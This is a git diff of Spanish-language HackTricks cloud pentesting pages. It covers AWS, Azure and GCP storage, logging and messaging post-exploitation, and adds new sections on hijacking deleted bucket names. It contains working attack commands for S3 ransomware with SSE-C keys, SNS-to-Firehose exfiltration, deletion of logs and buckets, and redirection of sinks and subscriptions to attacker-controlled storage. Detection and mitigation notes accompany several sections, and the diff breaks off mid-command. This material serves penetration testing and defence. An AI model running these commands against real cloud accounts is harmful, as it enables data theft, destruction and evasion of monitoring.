diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md index 51892bf74..f6ee58926 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md @@ -4,44 +4,45 @@ ## S3 -Para más información consulta: +Para más información, revisa: {{#ref}} ../../aws-services/aws-s3-athena-and-glacier-enum.md {{#endref}} -### Información sensible +### Sensitive Information -A veces podrás encontrar información sensible legible en los buckets. Por ejemplo, terraform state secrets. +A veces podrás encontrar información sensible legible en los buckets. Por ejemplo, secretos del estado de terraform. ### Pivoting -Diferentes plataformas podrían estar usando S3 para almacenar activos sensibles.\ For example, **airflow** could be storing **DAGs** **code** in there, or **web pages** could be directly served from S3. Un atacante con permisos de escritura podría **modify the code** desde el bucket para **pivot** hacia otras plataformas, o **takeover accounts** modificando archivos JS. +Diferentes plataformas podrían estar usando S3 para almacenar activos sensibles.\ +Por ejemplo, **airflow** podría estar almacenando allí el código de los **DAGs**, o **web pages** podrían servirse directamente desde S3. Un atacante con permisos de escritura podría **modificar el código** del bucket para **pivot** a otras plataformas, o **takeover accounts** modificando archivos JS. ### S3 Ransomware -En este escenario, el **attacker creates a KMS (Key Management Service) key in their own AWS account** o en otra cuenta comprometida. Luego hacen que esta **key accessible to anyone in the world**, permitiendo que cualquier AWS user, role, o account cifre objetos usando esta key. Sin embargo, los objetos no pueden ser descifrados. +En este escenario, el **attacker crea una clave KMS (Key Management Service) en su propia cuenta de AWS** o en otra cuenta comprometida. Luego hacen que esta **key sea accesible para cualquiera en el mundo**, permitiendo que cualquier usuario, role o cuenta de AWS cifre objetos usando esta key. Sin embargo, los objetos no pueden descifrarse. -El atacante identifica un bucket S3 objetivo y obtiene acceso a nivel de escritura en él usando varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el atacante obtuvo acceso al propio entorno AWS. El atacante típicamente apunta a buckets que contienen información sensible como personally identifiable information (PII), protected health information (PHI), logs, backups, y más. +El attacker identifica un **S3 bucket objetivo y obtiene acceso de escritura** a él mediante varios métodos. Esto podría deberse a una mala configuración del bucket que lo expone públicamente o a que el attacker obtiene acceso al propio entorno de AWS. Normalmente, el attacker apunta a buckets que contienen información sensible como PII, PHI, logs, backups y más. -Para determinar si el bucket puede ser objetivo de ransomware, el atacante verifica su configuración. Esto incluye comprobar si **S3 Object Versioning** está habilitado y si **multi-factor authentication delete (MFA delete)** está habilitado. Si Object Versioning no está habilitado, el atacante puede proceder. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el atacante puede **disable Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el atacante cifrar con ransomware ese bucket específico. +Para determinar si el bucket puede ser atacado con ransomware, el attacker revisa su configuración. Esto incluye verificar si **S3 Object Versioning** está habilitado y si **multi-factor authentication delete (MFA delete)** está habilitado. Si Object Versioning no está habilitado, el attacker puede continuar. Si Object Versioning está habilitado pero MFA delete está deshabilitado, el attacker puede **deshabilitar Object Versioning**. Si tanto Object Versioning como MFA delete están habilitados, se vuelve más difícil para el attacker hacer ransomware a ese bucket específico. -Usando la AWS API, el atacante **replaces each object in the bucket with an encrypted copy using their KMS key**. Esto cifra efectivamente los datos en el bucket, haciéndolos inaccesibles sin la key. +Usando la AWS API, el attacker **reemplaza cada objeto del bucket con una copia cifrada usando su key KMS**. Esto cifra efectivamente los datos del bucket, haciéndolos inaccesibles sin la key. -Para aumentar la presión, el atacante programa la eliminación de la KMS key usada en el ataque. Esto le da al objetivo una ventana de 7 días para recuperar sus datos antes de que la key sea eliminada y los datos se pierdan de forma permanente. +Para añadir más presión, el attacker programa la eliminación de la key KMS usada en el ataque. Esto le da al target una ventana de 7 días para recuperar sus datos antes de que la key sea eliminada y los datos se pierdan permanentemente. -Finalmente, el atacante podría subir un archivo final, usualmente llamado "ransom-note.txt", que contiene instrucciones para el objetivo sobre cómo recuperar sus archivos. Este archivo se sube sin cifrado, probablemente para llamar la atención del objetivo y hacerle saber del ataque de ransomware. +Finalmente, el attacker podría subir un archivo final, normalmente llamado "ransom-note.txt," que contiene instrucciones para que el target recupere sus archivos. Este archivo se sube sin cifrar, probablemente para captar la atención del target y hacerle consciente del ransomware attack. #### SSE-C (Customer-Provided Key) Ransomware (Codefinger-like) -Otra variante es abusar de **SSE-C** (S3 server-side encryption with **customer-provided keys**). Con SSE-C, el **client provides the encryption key on every request** y AWS no almacena la key. Esto significa que si un atacante reescribe objetos usando **their own SSE-C key**, los datos de la víctima se vuelven ininteligibles a menos que la víctima pueda proporcionar esa key controlada por el atacante. +Otra variante consiste en abusar de **SSE-C** (S3 server-side encryption con **customer-provided keys**). Con SSE-C, el **client proporciona la encryption key en cada request** y **AWS no almacena la key**. Esto significa que si un attacker reescribe objetos usando **su propia key SSE-C**, los datos de la víctima se vuelven ilegibles a menos que la víctima pueda proporcionar esa key controlada por el attacker. -- **Preconditions:** Compromised AWS credentials (or any principal with the right permissions) y la capacidad de **rewrite objects** (por ejemplo, `s3:PutObject` en las keys/prefijos objetivo). Esto suele ir acompañado de la capacidad de establecer políticas de lifecycle destructivas (ver más abajo), p. ej. `s3:PutLifecycleConfiguration`. +- **Preconditions:** Credenciales de AWS comprometidas (o cualquier principal con los permisos correctos) y la capacidad de **reescribir objetos** (por ejemplo, `s3:PutObject` sobre las keys/prefixes objetivo). Esto suele combinarse con la capacidad de establecer destructive lifecycle policies (ver abajo), por ejemplo `s3:PutLifecycleConfiguration`. - **Attack chain:** -1. Attacker genera una key aleatoria de 256 bits (AES-256) y la guarda. -2. Attacker **rewrites** objetos existentes (mismas object keys) usando headers SSE-C de modo que el objeto almacenado ahora está cifrado con la key del atacante. -3. Victim no puede descargar/descifrar sin proporcionar la SSE-C key (incluso si los permisos IAM son correctos). -4. Attacker puede eliminar la key (o simplemente nunca proporcionarla) para hacer los datos irrecuperables. +1. El attacker genera una key aleatoria de 256 bits (AES-256) y la guarda. +2. El attacker **reescribe** objetos existentes (las mismas object keys) usando headers SSE-C, de forma que el objeto almacenado quede cifrado con la key del attacker. +3. La víctima no puede descargar/descifrar sin proporcionar la key SSE-C (incluso si los permisos IAM están bien). +4. El attacker puede eliminar la key (o simplemente no proporcionarla nunca) para hacer que los datos sean irrecuperables. Example (conceptual) CLI usage: ```bash @@ -55,25 +56,25 @@ aws s3 cp s3:/// ./file \ --sse-c AES256 \ --sse-c-key ``` -##### Añadiendo Presión: Abuso del "Temporizador" del ciclo de vida +##### Adding Pressure: Lifecycle "Timer" Abuse -Para eliminar opciones de recuperación (como versiones antiguas), los atacantes pueden combinar reescrituras SSE-C con **reglas de ciclo de vida** que expiran objetos y/o eliminan versiones no actuales tras un corto período: +Para eliminar opciones de recuperación (como old versions), los attackers pueden combinar reescrituras SSE-C con **lifecycle rules** que expiran objetos y/o eliminan noncurrent versions después de un corto período: -- `s3:PutLifecycleConfiguration` en el bucket permite a un atacante programar eliminaciones sin emitir operaciones de delete explícitas para cada objeto/versión. -- Esto tiene especial impacto cuando **versionado está habilitado**, porque puede eliminar la "versión anterior buena" que, de otro modo, permitiría la recuperación. +- `s3:PutLifecycleConfiguration` en el bucket permite a un attacker programar borrados sin emitir operaciones de delete explícitas para cada objeto/version. +- Esto es especialmente impactante cuando **versioning is enabled**, porque puede eliminar la "previous good version" que, de otro modo, permitiría la recuperación. -##### Detección y mitigaciones +##### Detection & Mitigations -- Prefiera **SSE-KMS** (o SSE-S3) sobre SSE-C a menos que tenga una razón operacional sólida para permitir SSE-C. -- Monitoree/alerte las solicitudes `PutObject` que usen cabeceras SSE-C (eventos de datos de CloudTrail para S3). -- Monitoree/alerte sobre `PutBucketLifecycleConfiguration` inesperados (cambios de ciclo de vida). -- Monitoree/alerte sobre picos repentinos en actividad de sobrescritura (mismas keys actualizadas rápidamente) y eliminaciones de delete-marker/version. -- Restringa permisos de alto riesgo: limite `s3:PutObject` a los prefijos necesarios; restrinja fuertemente `s3:PutLifecycleConfiguration` y `s3:PutBucketVersioning`; considere requerir MFA para acciones administrativas sensibles (cuando aplique) y use roles administrativos separados con aprobaciones. -- Postura de recuperación: use **versioning**, **backups**, y copias inmutables/offline (S3 replication a una cuenta protegida, backup vaults, etc.); proteja las versiones no actuales contra eliminaciones agresivas y respalde cambios de ciclo de vida con SCPs / guardrails. +- Prefiere **SSE-KMS** (o SSE-S3) sobre SSE-C, a menos que tengas una fuerte razón operativa para permitir SSE-C. +- Monitorea/alerta sobre requests `PutObject` usando SSE-C headers (CloudTrail data events para S3). +- Monitorea/alerta sobre `PutBucketLifecycleConfiguration` inesperado (cambios de lifecycle). +- Monitorea/alerta sobre picos repentinos en actividad de overwrite (mismas keys actualizadas rápidamente) y delete-marker/version deletions. +- Restringe permisos de alto riesgo: limita `s3:PutObject` a prefixes necesarios; restringe fuertemente `s3:PutLifecycleConfiguration` y `s3:PutBucketVersioning`; considera requerir MFA para acciones admin sensibles (donde aplique) y usa roles admin separados con approvals. +- Postura de recovery: usa **versioning**, **backups** y copias inmutables/offline (replicación de S3 a una cuenta protegida, backup vaults, etc.); protege noncurrent versions contra borrados agresivos y protege los cambios de lifecycle con SCPs / guardrails. ### `s3:RestoreObject` -Un atacante con el permiso `s3:RestoreObject` puede reactivar objetos archivados en Glacier o Deep Archive, haciéndolos accesibles temporalmente. Esto permite la recuperación y exfiltración de datos archivados históricamente (backups, snapshots, logs, certificaciones, secretos antiguos) que normalmente estarían fuera de alcance. Si el atacante combina este permiso con permisos de lectura (p. ej., `s3:GetObject`), puede obtener copias completas de datos sensibles. +Un attacker con el permiso s3:RestoreObject puede reactivar objetos archivados en Glacier o Deep Archive, haciendo que estén temporalmente accesibles. Esto permite la recuperación y exfiltration de datos archivados históricamente (backups, snapshots, logs, certifications, old secrets) que normalmente estarían fuera de alcance. Si el attacker combina este permiso con permisos de lectura (por ejemplo, s3:GetObject), puede obtener copias completas de datos sensibles. ```bash aws s3api restore-object \ --bucket \ @@ -85,7 +86,7 @@ aws s3api restore-object \ ``` ### `s3:Delete*` -Un atacante con el permiso `s3:Delete*` puede eliminar objetos, versiones y buckets completos, interrumpir copias de seguridad y causar pérdida de datos inmediata e irreversible, destrucción de evidencia y comprometer artefactos de copia de seguridad o recuperación. +Un atacante con el permiso s3:Delete* puede eliminar objetos, versiones y buckets completos, interrumpir backups y causar pérdida de datos inmediata e irreversible, destrucción de evidencia y compromiso de artefactos de backup o recuperación. ```bash # Delete an object from a bucket aws s3api delete-object \ @@ -102,6 +103,34 @@ aws s3api delete-object \ aws s3api delete-bucket \ --bucket ``` -**Para más información** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** +### Toma global del nombre del bucket de escritores autónomos - `s3:DeleteBucket` + +Los nombres de bucket de S3 son globalmente únicos. Si una cuenta víctima tiene writers automatizados que siguen entregando datos a `arn:aws:s3:::` y un atacante puede vaciar/eliminar ese bucket, el atacante puede recrear el mismo nombre de bucket en una cuenta controlada por el atacante y recibir futuras entregas sin cambiar la configuración del servicio upstream. + +Los buenos objetivos para revisar incluyen destinos de replicación de S3, Kinesis Data Firehose delivery streams, cadenas de entrega de CloudWatch Logs/SNS/WAF que aterrizan en S3 y jobs personalizados de backup o export. +```bash +# Review S3 replication destinations on source buckets +aws s3api get-bucket-replication --bucket + +# Review Firehose S3 destinations +aws firehose describe-delivery-stream \ +--delivery-stream-name + +# Empty and delete the target bucket, if permitted +aws s3 rm s3:// --recursive +aws s3api delete-bucket --bucket + +# Recreate the same globally-unique name in the attacker account +aws s3 mb s3:// --region +``` +La replacement bucket policy debe permitir que el upstream writer haga put de objects. El principal exacto depende del service: por ejemplo, un IAM replication role, un Firehose delivery role, o un service principal restringido con `aws:SourceArn` / `aws:SourceAccount`. + +**Potential Impact:** exfiltración silenciosa de future replicated objects, logs, telemetry, backups, y pipeline artifacts a un AWS account controlado por un attacker. + +**Detection & Mitigation:** alertar sobre la deletion de buckets referenciados por replication rules o delivery streams, monitorizar `NoSuchBucket` delivery failures seguidos de bucket recreation, restringir `s3:DeleteBucket` en export destinations, y fijar cross-account deliveries con strict bucket policies y ownership expectations. + + + +**For more info** [**check the original research**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.** {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md index a255567ab..1228940a2 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sns-post-exploitation/aws-sns-firehose-exfil.md @@ -1,15 +1,15 @@ -# AWS - SNS a Kinesis Firehose Exfiltration (Fanout a S3) +# AWS - SNS to Kinesis Firehose Exfiltration (Fanout to S3) {{#include ../../../../banners/hacktricks-training.md}} -Abusar del protocolo de suscripción de Firehose para registrar un Kinesis Data Firehose delivery stream controlado por el atacante en un topic estándar de SNS de la víctima. Una vez que la suscripción está en su lugar y el rol IAM requerido confía en `sns.amazonaws.com`, cada notificación futura se escribe de forma duradera en el bucket S3 del atacante con ruido mínimo. +Abusa del protocolo de suscripción de Firehose para registrar un Kinesis Data Firehose delivery stream controlado por el atacante en un topic SNS estándar de la víctima. Una vez que la suscripción está en su lugar y el IAM role requerido confía en `sns.amazonaws.com`, cada notificación futura se escribe de forma duradera en el bucket S3 del atacante con ruido mínimo. -## Requisitos -- Permisos en la cuenta del atacante para crear un bucket S3, Firehose delivery stream, y el rol IAM usado por Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.). -- La capacidad de `sns:Subscribe` al topic de la víctima (y opcionalmente `sns:SetSubscriptionAttributes` si el subscription role ARN se proporciona después de la creación). -- Una topic policy que permita al principal atacante suscribirse (o que el atacante ya opere dentro de la misma cuenta). +## Requirements +- Permisos en la cuenta del atacante para crear un bucket S3, un Firehose delivery stream, y el IAM role usado por Firehose (`firehose:*`, `iam:CreateRole`, `iam:PutRolePolicy`, `s3:PutBucketPolicy`, etc.). +- La capacidad de `sns:Subscribe` al topic de la víctima (y opcionalmente `sns:SetSubscriptionAttributes` si el ARN del role de suscripción se proporciona después de la creación). +- Una topic policy que permita al principal atacante suscribirse (o el atacante ya opera dentro de la misma cuenta). -## Pasos del ataque (ejemplo en la misma cuenta) +## Attack Steps (same-account example) ```bash REGION=us-east-1 ACC_ID=$(aws sts get-caller-identity --query Account --output text) @@ -67,10 +67,24 @@ aws sns publish --topic-arn "$TOPIC_ARN" --message 'pii:ssn-123-45-6789' --regio sleep 90 aws s3 ls s3://$ATTACKER_BUCKET/ --recursive ``` -## Limpieza -- Eliminar la suscripción de SNS, el delivery stream de Firehose, los roles/políticas temporales de IAM y el bucket S3 del atacante. +## Cleanup +- Delete the SNS subscription, Firehose delivery stream, temporary IAM roles/policies, and attacker S3 bucket. -## Impacto -**Impacto potencial**: Exfiltración continua y duradera de cada mensaje publicado en el SNS topic objetivo hacia un almacenamiento controlado por el atacante con una huella operacional mínima. +## Impact +**Potential Impact**: Exfiltración continua y duradera de every message published to the targeted SNS topic into attacker-controlled storage with minimal operational footprint. + +## Related Bucket-Name Hijack Variant + +If an existing SNS -> Firehose -> S3 chain already writes to a bucket and the attacker can delete that bucket, they may be able to recreate the same globally-unique S3 bucket name in an attacker-controlled account. Future Firehose deliveries can then land in the replacement bucket without changing the SNS subscription or Firehose stream configuration. +```bash +# Identify the Firehose S3 destination +aws firehose describe-delivery-stream \ +--delivery-stream-name \ +--query 'DeliveryStreamDescription.Destinations[].S3DestinationDescription' + +# After deleting the original bucket, recreate the same name in the attacker account +aws s3 mb s3:// --region +``` +Otorga al rol de entrega de Firehose acceso al bucket de reemplazo si el rol puede escribir cross-account. Monitorea la eliminación de buckets en destinos de Firehose, fallos de entrega y cambios inesperados de propiedad del bucket. {{#include ../../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index f1214815d..4e4636277 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -1,10 +1,10 @@ -# Az - Blob Storage Post Exploitation +# Az - Blob Storage Post Explotación {{#include ../../../banners/hacktricks-training.md}} ## Storage Privesc -Para más información sobre el almacenamiento, consulta: +Para más información sobre storage, revisa: {{#ref}} ../az-services/az-storage.md @@ -12,7 +12,7 @@ Para más información sobre el almacenamiento, consulta: ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -Un principal con este permiso podrá **listar** los blobs (archivos) dentro de un contenedor y **descargar** los archivos que pueden contener **información sensible**. +Un principal con este permiso podrá **listar** los blobs (files) dentro de un container y **download** los files, que podrían contener **información sensible**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -26,7 +26,7 @@ az storage blob download \ ``` ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -Un principal con este permiso podrá **escribir y sobrescribir archivos en contenedores**, lo que podría permitirle causar algún daño o incluso escalar privilegios (por ejemplo, sobrescribir algún código almacenado en un blob): +Un principal con este permiso podrá **escribir y sobrescribir archivos en containers** lo que podría permitirle causar algunos daños o incluso escalar privilegios (por ejemplo, sobrescribir algún código almacenado en un blob): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ @@ -36,6 +36,35 @@ az storage blob upload \ ``` ### \*/delete -Esto permitiría eliminar objetos dentro de la cuenta de almacenamiento, lo que podría **interrumpir algunos servicios** o hacer que el cliente **pierda información valiosa**. +Esto permitiría eliminar objetos dentro de la storage account, lo que podría **interrumpir algunos servicios** o hacer que el cliente **pierda información valiosa**. + +### Toma de control del nombre de la storage account de exportaciones de diagnóstico + +Los nombres de Azure Storage account son globalmente únicos. Algunas exportaciones autónomas, como Azure Monitor diagnostic settings, siguen escribiendo logs o metrics en una storage account configurada. Si un atacante puede eliminar esa storage account y recrear el mismo nombre en una subscription controlada por el atacante dentro del mismo tenant, la telemetría exportada en el futuro podría entregarse a la cuenta de reemplazo sin modificar el diagnostic setting. + +Esto es especialmente interesante cuando el atacante tiene permisos destructivos como `Microsoft.Storage/storageAccounts/delete`, pero no puede actualizar el recurso monitorizado ni sus diagnostic settings. + +Esto requiere que el nombre de la storage account quede disponible para reutilización. En la práctica, las protecciones de soft delete / recovery de Azure storage account pueden retrasar o impedir la reutilización inmediata, especialmente entre tenants. +```bash +# Find diagnostic settings that write to a storage account +az monitor diagnostic-settings list \ +--resource \ +--query '[].{name:name,storageAccountId:storageAccountId}' + +# Delete the storage account, if permitted +az storage account delete \ +--name \ +--resource-group + +# Recreate the same globally-unique storage account name +az storage account create \ +--name \ +--resource-group \ +--location \ +--sku Standard_LRS +``` +**Impacto potencial:** exfiltración a largo plazo de logs, metrics, audit data y diagnostic archives futuros hacia una subscription controlada por un atacante. + +**Detección y mitigación:** alertar sobre la eliminación de storage accounts referenciadas por diagnostic settings, inventariar diagnostic settings con `storageAccountId`, monitorizar destinos dangling y restringir estrictamente los permisos destructivos sobre logging/archive storage accounts. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md index 83fa44e3b..b4e767f08 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md @@ -1,34 +1,34 @@ -# GCP - Post-explotación de Logging +# GCP - Logging Post Exploitation {{#include ../../../banners/hacktricks-training.md}} -## Información básica +## Basic Information -Para más información consulta: +Para más información, consulta: {{#ref}} ../gcp-services/gcp-logging-enum.md {{#endref}} -Para otras maneras de interrumpir el monitoreo consulta: +Para otras formas de interrumpir el monitoreo, consulta: {{#ref}} gcp-monitoring-post-exploitation.md {{#endref}} -### Logging por defecto +### Default Logging -**Por defecto no serás detectado solo por realizar acciones de lectura. Para más información consulta la sección Logging Enum.** +**Por defecto no te atraparán solo por realizar acciones de lectura. Para más información, consulta la sección Logging Enum.** -### Añadir principal exceptuado +### Add Excepted Principal -En [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) y [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) es posible añadir principales para que no se generen logs. Un atacante podría abusar de esto para evitar ser detectado. +En [https://console.cloud.google.com/iam-admin/audit/allservices](https://console.cloud.google.com/iam-admin/audit/allservices) y [https://console.cloud.google.com/iam-admin/audit](https://console.cloud.google.com/iam-admin/audit) es posible añadir principals para que no generen logs. Un atacante podría abusar de esto para evitar ser detectado. -### Leer logs - `logging.logEntries.list` +### Read logs - `logging.logEntries.list`
-Leer entradas de logs +Read log entries ```bash # Read logs gcloud logging read "logName=projects/your-project-id/logs/log-id" --limit=10 --format=json @@ -44,7 +44,7 @@ gcloud logging read "timestamp >= \"2023-01-01T00:00:00Z\"" --limit=10 --format=
-Eliminar entradas de registro +Eliminar entradas de log ```bash # Delete all entries from a log in the _Default log bucket - logging.logs.delete gcloud logging logs delete @@ -66,7 +66,7 @@ gcloud logging write LOG_NAME "A deceptive log entry" --severity=ERROR
-Actualizar la retención del bucket de registros +Actualizar la retención del bucket de logs ```bash # Set retention period to 1 day (_Required has a fixed one of 400days) @@ -78,7 +78,7 @@ gcloud logging buckets update bucketlog --location= --description="New
-Eliminar bucket de registros +Eliminar bucket de logs ```bash # Delete log bucket gcloud logging buckets delete BUCKET_NAME --location= @@ -89,7 +89,7 @@ gcloud logging buckets delete BUCKET_NAME --location=
-Eliminar log link +Eliminar enlace de logs ```bash # Delete link gcloud logging links delete --bucket --location @@ -111,7 +111,7 @@ gcloud logging views delete --bucket= --location=global
-Actualizar vista de logging para ocultar datos +Actualizar la vista de logging para ocultar datos ```bash # Update a logging view to hide data gcloud logging views update --log-filter="resource.type=gce_instance" --bucket= --location=global --description="New description for the log view" @@ -122,7 +122,7 @@ gcloud logging views update --log-filter="resource.type=gce_instance"
-Actualizar métricas basadas en registros +Actualizar métricas basadas en logs ```bash # Update log based metrics - logging.logMetrics.update gcloud logging metrics update --description="Changed metric description" --log-filter="severity>CRITICAL" --project=PROJECT_ID @@ -133,7 +133,7 @@ gcloud logging metrics update --description="Changed metric descri
-Eliminar métricas basadas en registros +Eliminar métricas basadas en logs ```bash # Delete log based metrics - logging.logMetrics.delete gcloud logging metrics delete @@ -155,7 +155,7 @@ gcloud logging sinks delete
-Actualizar/interrumpir log sink +Actualizar/disrumpir log sink ```bash # Disable sink - logging.sinks.update gcloud logging sinks update --disabled @@ -178,4 +178,32 @@ gcloud logging sinks update SINK_NAME --no-use-partitioned-tables ```
+### Secuestro del nombre del bucket del Cloud Logging sink - `storage.buckets.delete` + +Cloud Logging sinks pueden exportar logs continuamente a un destino de Cloud Storage como `storage.googleapis.com/` o `storage.googleapis.com//`. Si un atacante puede eliminar el bucket de destino, pero no puede actualizar el sink, aún podría redirigir futuros logs exportados recreando el mismo nombre de bucket globalmente único en un proyecto controlado por el atacante. + +Esto es útil cuando el principal comprometido tiene permisos destructivos de storage como `storage.buckets.delete`, `storage.objects.delete` y `storage.objects.list`, pero no tiene `logging.sinks.update`. +```bash +# Find sinks that export to Cloud Storage +gcloud logging sinks list --project \ +--format='table(name,destination,disabled,writerIdentity)' + +# Empty and delete the destination bucket, if permitted +gcloud storage rm -r gs:// + +# Recreate the same bucket name in the attacker-controlled project +gcloud storage buckets create gs:// \ +--project \ +--location + +# Allow the sink writer identity to write objects into the replacement bucket +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Impacto potencial:** exfiltración silenciosa a largo plazo de futuros audit logs, application logs, security telemetry y cualquier otro evento que coincida con el sink filter. + +**Detección y mitigación:** alertar sobre la eliminación de buckets referenciados por active sinks, inventariar sink destinations para bucket names colgantes, restringir `storage.buckets.delete` en logging destinations y proteger export buckets con controles de retention/hold cuando sea posible. + {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md index fd33f8933..c7fc44d1f 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md @@ -4,7 +4,7 @@ ## Pub/Sub -Para más información sobre Pub/Sub, consulta la siguiente página: +Para más información sobre Pub/Sub revisa la siguiente página: {{#ref}} ../gcp-services/gcp-pub-sub.md @@ -12,7 +12,7 @@ Para más información sobre Pub/Sub, consulta la siguiente página: ### `pubsub.topics.publish` -Publicar un mensaje en un topic, útil para **enviar datos inesperados** y activar funcionalidades inesperadas o exploit vulnerabilities: +Publica un mensaje en un topic, útil para **enviar datos inesperados** y activar funcionalidades inesperadas o explotar vulnerabilidades:
@@ -25,11 +25,11 @@ gcloud pubsub topics publish --message "Hello!" ### `pubsub.topics.detachSubscription` -Útil para evitar que una suscripción reciba mensajes, quizá para evadir la detección. +Útil para evitar que una subscription reciba mensajes, quizá para evitar detección.
-Desvincular la suscripción del topic +Detach subscription from topic ```bash gcloud pubsub topics detach-subscription ``` @@ -37,12 +37,12 @@ gcloud pubsub topics detach-subscription ### `pubsub.topics.delete` -Útil para evitar que una subscription reciba mensajes, quizá para evitar la detección.\ -Es posible eliminar un topic incluso con subscriptions adjuntas a él. +Útil para evitar que una subscription reciba mensajes, quizá para evitar detección.\ +Es posible borrar un topic incluso con subscriptions adjuntas a él.
-Eliminar topic +Delete topic ```bash gcloud pubsub topics delete ``` @@ -50,11 +50,11 @@ gcloud pubsub topics delete ### `pubsub.topics.update` -Utiliza este permiso para actualizar alguna configuración del topic y así interrumpirlo, por ejemplo `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... +Usa este permiso para actualizar alguna configuración del topic y perturbarlo, como `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... ### `pubsub.topics.setIamPolicy` -Date permiso para realizar cualquiera de los ataques anteriores. +Dáte permiso para realizar cualquiera de los ataques anteriores. ```bash # Add Binding gcloud pubsub topics add-iam-policy-binding \ @@ -84,22 +84,22 @@ gcloud pubsub topics set-iam-policy \ ``` ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`) -Obtener todos los mensajes en un servidor web: +Obtén todos los mensajes en un web server:
-Crear suscripción push para recibir mensajes +Crear push subscription para recibir mensajes ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```
-Crear una suscripción y usarla para **recuperar mensajes**: +Crea una suscripción y úsala para **pull messages**:
-Crear una suscripción pull y recuperar mensajes +Crear suscripción pull y recuperar mensajes ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic @@ -112,7 +112,7 @@ gcloud pubsub subscriptions pull ### `pubsub.subscriptions.delete` -**Eliminar una suscripción** podría ser útil para interrumpir un sistema de procesamiento de registros o algo similar: +**Eliminar una suscripción** podría ser útil para interrumpir un sistema de procesamiento de logs o algo similar:
@@ -124,24 +124,57 @@ gcloud pubsub subscriptions delete ### `pubsub.subscriptions.update` -Usa este permiso para actualizar alguna configuración para que los mensajes se almacenen en un lugar al que puedas acceder (URL, Big Query table, Bucket) o simplemente para interrumpirlo. +Usa este permiso para actualizar alguna configuración para que los mensajes se almacenen en un lugar al que puedas acceder (URL, tabla de Big Query, Bucket) o simplemente para interrumpirlo.
-Actualizar endpoint de suscripción +Actualizar endpoint de la subscription ```bash gcloud pubsub subscriptions update --push-endpoint ```
+### Secuestro de bucket-name de suscripción de Cloud Storage - `storage.buckets.delete` + +Las suscripciones de Pub/Sub pueden escribir los mensajes entregados en buckets de Cloud Storage. Si una suscripción sigue apuntando a `gs://` y un atacante puede eliminar ese bucket, el atacante puede recrear el mismo nombre de bucket globalmente único en otro proyecto y recibir mensajes futuros sin cambiar la suscripción. + +Esto puede ser valioso cuando el atacante no puede usar `pubsub.subscriptions.update`, pero sí puede eliminar el bucket de destino con permisos como `storage.buckets.delete`, `storage.objects.delete` y `storage.objects.list`. +```bash +# Find Cloud Storage subscriptions and their destinations +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Empty and delete the destination bucket +gcloud storage rm -r gs:// + +# Recreate the same bucket name under attacker control +gcloud storage buckets create gs:// \ +--project \ +--location + +# Grant the Pub/Sub service agent write access if delivery requires it +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.objectCreator' \ +--project + +gcloud storage buckets add-iam-policy-binding gs:// \ 